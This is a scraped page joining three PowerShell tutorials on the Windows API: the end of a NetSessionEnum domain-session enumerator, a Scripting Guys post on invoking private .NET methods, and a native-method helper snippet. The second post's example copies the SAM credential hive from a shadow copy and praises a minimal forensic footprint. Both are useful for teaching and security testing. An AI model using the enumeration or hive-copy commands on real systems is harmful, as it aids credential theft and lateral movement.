	Use Netapi32::NetSessionEnum to enumerate active sessions on domain joined machines.

.DESCRIPTION

	Author: Ruben Boonen (@FuzzySec)
	License: BSD 3-Clause
	Required Dependencies: None
	Optional Dependencies: None

.EXAMPLE
	C:\PS> Invoke-NetSessionEnum -HostName SomeHostName

#>

	param (
        [Parameter(Mandatory = $True)]
		[string]$HostName
	)  

	Add-Type -TypeDefinition @"
	using System;
	using System.Diagnostics;
	using System.Runtime.InteropServices;
	
	[StructLayout(LayoutKind.Sequential)]
	public struct SESSION_INFO_10
	{
		[MarshalAs(UnmanagedType.LPWStr)]public string OriginatingHost;
		[MarshalAs(UnmanagedType.LPWStr)]public string DomainUser;
		public uint SessionTime;
		public uint IdleTime;
	}
	
	public static class Netapi32
	{
		[DllImport("Netapi32.dll", SetLastError=true)]
			public static extern int NetSessionEnum(
				[In,MarshalAs(UnmanagedType.LPWStr)] string ServerName,
				[In,MarshalAs(UnmanagedType.LPWStr)] string UncClientName,
				[In,MarshalAs(UnmanagedType.LPWStr)] string UserName,
				Int32 Level,
				out IntPtr bufptr,
				int prefmaxlen,
				ref Int32 entriesread,
				ref Int32 totalentries,
				ref Int32 resume_handle);
				
		[DllImport("Netapi32.dll", SetLastError=true)]
			public static extern int NetApiBufferFree(
				IntPtr Buffer);
	}
"@
	
	# Create SessionInfo10 Struct
	$SessionInfo10 = New-Object SESSION_INFO_10
	$SessionInfo10StructSize = [System.Runtime.InteropServices.Marshal]::SizeOf($SessionInfo10) # Grab size to loop bufptr
	$SessionInfo10 = $SessionInfo10.GetType() # Hacky, but we need this ;))
	
	# NetSessionEnum params
	$OutBuffPtr = [IntPtr]::Zero # Struct output buffer
	$EntriesRead = $TotalEntries = $ResumeHandle = 0 # Counters & ResumeHandle
	$CallResult = [Netapi32]::NetSessionEnum($HostName, "", "", 10, [ref]$OutBuffPtr, -1, [ref]$EntriesRead, [ref]$TotalEntries, [ref]$ResumeHandle)
	
	if ($CallResult -ne 0){
		echo "Mmm something went wrong!`nError Code: $CallResult"
	}
	
	else {
	
		if ([System.IntPtr]::Size -eq 4) {
			echo "`nNetapi32::NetSessionEnum Buffer Offset  --> 0x$("{0:X8}" -f $OutBuffPtr.ToInt32())"
		}
		else {
			echo "`nNetapi32::NetSessionEnum Buffer Offset  --> 0x$("{0:X16}" -f $OutBuffPtr.ToInt64())"
		}
		
		echo "Result-set contains $EntriesRead session(s)!"
	
		# Change buffer offset to int
		$BufferOffset = $OutBuffPtr.ToInt64()
		
		# Loop buffer entries and cast pointers as SessionInfo10
		for ($Count = 0; ($Count -lt $EntriesRead); $Count++){
			$NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset
			$Info = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr,[type]$SessionInfo10)
			$Info
			$BufferOffset = $BufferOffset + $SessionInfo10StructSize
		}
		
		echo "`nCalling NetApiBufferFree, no memleaks here!"
		[Netapi32]::NetApiBufferFree($OutBuffPtr) |Out-Null
	}
}

I have a small, sinister, domain set up at home which I use for testing/dev. You can see the output of Invoke-NetSessionEnum below.

Conclusion

Hopefully this post has given you some ideas about incorporating Windows API calls in your PowerShell scripts. Doing so means that there is really nothing which you can’t achieve in PowerShell. As I mentioned in the introduction, there is a way to avoid runtime C# compilation by using .NET reflection, I highly recommend that you have a look at some of the examples in the PowerSploit framework to see how this is done.

Remember, stay calm and [Winmm]::mciSendString(«set CDAudio door open», $null, $null, [IntPtr]::Zero)!

Summary: Guest blogger, Matt Graeber, talks more about interacting with the Windows API.

Microsoft Scripting Guy, Ed Wilson, is here. Matt Graeber is back today with Part 2 of a three-part series that started yesterday: Use PowerShell to Interact with the Windows API: Part 1.

Now, here’s Matt…

In my last post, I described how to use the Add-Type cmdlet to interact with the Windows API; specifically, the CopyFile function in kernel32.dll. Today, I’m going to describe another method in which you can interact with Windows API functions: extracting private methods from the .NET Framework.

For most people, the Add-Type method will always be sufficient. However, for people like me who write security and forensics tools, where a minimal forensic footprint is necessary, Add-Type doesn’t cut it because it writes temporary files to disk and calls csc.exe to compile C# code. So if having a minimal forensic footprint is a necessity for your script (or if you like to do things the hard way), there are other methods of calling Windows API functions.

A large portion of the .NET Framework is actually built on the Windows API. It’s just not exposed to you publicly. Pulling out the Win API functions that are used by the .NET Framework requires a basic understanding of the internal layout of .NET.

There are several tools available for exploring the .NET Framework, including these:

  • .NET Reflector 8
  • ILSpy .NET Decompiler

What you need to know for our purposes is that Windows API function calls in .NET are usually non-public (that is, private), static methods that have a DllImport attribute associated with them. To help us dig into the .NET Framework, I wrote a helper function called Find-WinAPIFunction. (The script is also available in the Script Center Repository.) It searches the loaded modules in a Windows PowerShell session for a reference to a private Windows API function.

Find-WinAPIFunction function: 

function Find-WinAPIFunction

{

<#

.SYNOPSIS

    Searches all loaded assemblies in your PowerShell session for a

    Windows API function.

.PARAMETER Module

    Specifies the name of the module that implements the function. This

    is typically a system dll (e.g. kernel32.dll).

.PARAMETER FunctionName

    Specifies the name of the function you’re searching for.

.OUTPUTS

    [System.Reflection.MethodInfo]

.EXAMPLE

    Find-WinAPIFunction kernel32.dll CopyFile

#>

    [CmdletBinding()]

    [OutputType([System.Reflection.MethodInfo])]

    Param

    (

        [Parameter(Mandatory = $True, Position = 0)]

        [ValidateNotNullOrEmpty()]

        [String]

        $Module,

        [Parameter(Mandatory = $True, Position = 1)]

        [ValidateNotNullOrEmpty()]

        [String]

        $FunctionName

    )

    [System.AppDomain]::CurrentDomain.GetAssemblies() |

        ForEach-Object { $_.GetTypes() } |

            ForEach-Object { $_.GetMethods(‘NonPublic, Public, Static’) } |

                ForEach-Object { $MethodInfo = $_; $_.GetCustomAttributes($false) } |

                    Where-Object {

                        $MethodInfo.Name.ToLower() -eq $FunctionName.ToLower() -and

                        $_.Value -eq $Module

                    } | ForEach-Object { $MethodInfo }

}

The Find-WinAPIFunction function works by drilling down through all of the loaded assemblies in a Windows PowerShell session. To understand what’s going on, think of your Windows PowerShell session as a series of containers. It starts with an AppDomain. Each Windows PowerShell session has a default AppDomain, which you can think of as an execution sandbox.

Within an AppDomain, there are multiple loaded assemblies. An assembly is a container for a module, and it is typically a DLL, such as mscorlib.dll or System.dll. Within assemblies, are modules that are containers for types (that is, classes).

Finally, a type is a container for members. Members consist of methods, properties, fields, events, nested types, and constructors. The concept of members should be familiar to those who are familiar with the Get-Member cmdlet. The following diagram may help illustrate this concept of compartmentalization more clearly.

Image of compartments

Find-WinAPIFunction starts by iterating through all assemblies in the current AppDomain. It then iterates through all types within those assemblies, ultimately looking for the method you’re searching for.

Image of command output

Now that we know that a CopyFile method exists, we know that we can use it in Windows PowerShell. However, rather than searching for it each time with Find-WinAPIFunction, let’s pull out some information that will allow us to quickly get a reference to our target CopyFile method:

As can be seen in this screenshot, we need the name of the assembly and type that contains the CopyFile method. These are respectively mscorlib.dll and Microsoft.Win32.Win32Native.

Now let’s pull everything together with another implementation of the Copy-RawItem function, which made its debut in Part 1 of this series. This time, we have the Private .NET Method version, which is also available in the Script Center Repository.

Copy-RawItem Private .NET Method version:

function Copy-RawItem

{

<#

.SYNOPSIS

    Copies a file from one location to another including files contained within DeviceObject paths.

.PARAMETER Path

    Specifies the path to the file to copy.

.PARAMETER Destination

    Specifies the path to the location where the item is to be copied.

.PARAMETER FailIfExists

    Do not copy the file if it already exists in the specified destination.

.OUTPUTS

    None or an object representing the copied item.

.EXAMPLE

    Copy-RawItem ‘\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SAM’ ‘C:\temp\SAM’

#>

    [CmdletBinding()]

    [OutputType([System.IO.FileSystemInfo])]

    Param (

        [Parameter(Mandatory = $True, Position = 0)]

        [ValidateNotNullOrEmpty()]

        [String]

        $Path,

        [Parameter(Mandatory = $True, Position = 1)]

        [ValidateNotNullOrEmpty()]

        [String]

        $Destination,

        [Switch]

        $FailIfExists

    )

    # Get a reference to the internal method – Microsoft.Win32.Win32Native.CopyFile()

    $mscorlib = [AppDomain]::CurrentDomain.GetAssemblies() | ? {$_.Location -and ($_.Location.Split(‘\’)[-1] -eq ‘mscorlib.dll’)}

    $Win32Native = $mscorlib.GetType(‘Microsoft.Win32.Win32Native’)

    $CopyFileMethod = $Win32Native.GetMethod(‘CopyFile’, ([Reflection.BindingFlags] ‘NonPublic, Static’))

    # Perform the copy

    $CopyResult = $CopyFileMethod.Invoke($null, @($Path, $Destination, ([Bool] $PSBoundParameters[‘FailIfExists’])))

    $HResult = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()

    if ($CopyResult -eq $False -and $HResult -ne 0)

    {

        # An error occured. Display the Win32 error set by CopyFile

        throw ( New-Object ComponentModel.Win32Exception )

    }

    else

    {

        Write-Output (Get-ChildItem $Destination)

    }

}

This version of Copy-RawItem provides identical functionality as the Add-Type version, but it implements the private method extraction technique described in this post. The function starts by getting a reference to mscorlib.dll, which is the assembly that contains the CopyFile method. It then gets a reference to the type that contains the Microsoft.Win32.Win32Native method by calling the GetType method. Finally, it gets a reference to the CopyFile method by calling the GetMethod method, specifying that a NonPublic, Static method is requested.

The technique described requires a bit more knowledge of the layout of the .NET Framework. However, armed with this knowledge, you will be able to pull internal functionality into Windows PowerShell, which wouldn’t otherwise be available to you.

In the last and final post of the series, we’ll dig into .NET internals even more and see how to use reflection to dynamically build a method that calls Windows API functions.

The two scripts used today are available in the Script Center Repository:

  • Find-WinAPIFunction
  • Private .NET Method version

~Matt

Thanks, Matt. Join us tomorrow as Matt brings you the final part of this series.

I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.

Ed Wilson, Microsoft Scripting Guy

Author

The «Scripting Guys» is a historical title passed from scripter to scripter. The current revision has morphed into our good friend Doctor Scripto who has been with us since the very beginning.

After my previous post of some snippets from my PowerShell profile; I received another email from the person that prompted me to write that post, asking some questions about calling Windows APIs from PowerShell. It turns out that this isn’t so straight-forward, despite PowerShell’s pitch as a system automation language!

The confusion came from various varying samples online of how to do this in PowerShell; and they all used blocks of C#, which many PowerShell users aren’t particularly familiar with.

Although I couldn’t find a way to do this without the C# wrapper, I did think it was worthwhile extracting some parts out of the C# code to avoid having to manipulate so much C# code in a quoted string inside PowerShell to add new Windows API methods. Unfortunately the argument types still need to be in C#, because I don’t know how to map them from the C++ examples easily.

It’s very basic; and can probably be improved by anyone that has some knowledge of calling Windows APIs; but hopefully it’s a little simpler if you’re less comfortable with C#.

In PowerShell profile:

# Helper functions for building the class
$script:nativeMethods = @();
function Register-NativeMethod([string]$dll, [string]$methodSignature)
{
    $script:nativeMethods += [PSCustomObject]@{ Dll = $dll; Signature = $methodSignature; }
}
function Add-NativeMethods()
{
    $nativeMethodsCode = $script:nativeMethods | % { "
        [DllImport(`"$($_.Dll)`")]
        public static extern $($_.Signature);
    " }

    Add-Type @"
        using System;
        using System.Runtime.InteropServices;
        public static class NativeMethods {
            $nativeMethodsCode
        }
"@
}


# Add methods here
Register-NativeMethod "user32.dll" "bool SetForegroundWindow(IntPtr hWnd)"
Register-NativeMethod "user32.dll" "bool ShowWindowAsync(IntPtr hWnd, int nCmdShow)"

# This builds the class and registers them (you can only do this one-per-session, as the type cannot be unloaded?)
Add-NativeMethods

And to use them:

# (the Out-Null is just to throw away the return value)
[NativeMethods]::SetForegroundWindow((Get-Process -name notepad).MainWindowHandle) | Out-Null
[NativeMethods]::ShowWindowAsync((Get-Process -name notepad).MainWindowHandle, 2) | Out-Null

Hopefully this helps a little. If anyone can suggest improvements (being able to paste method signatures directly from the documentation would be good), I’ll update the post.

Понравилась статья? Поделить с друзьями:
0 0 голоса
Рейтинг статьи
Подписаться
Уведомить о
guest

0 комментариев
Старые
Новые Популярные
Межтекстовые Отзывы
Посмотреть все комментарии
  • Как открыть доступ к сетевому диску windows 10
  • Как узнать свой домен на windows xp
  • Тормозит видео в опере что делать windows 10
  • Asus m50s драйвера для windows 10
  • Как написать программу на python для windows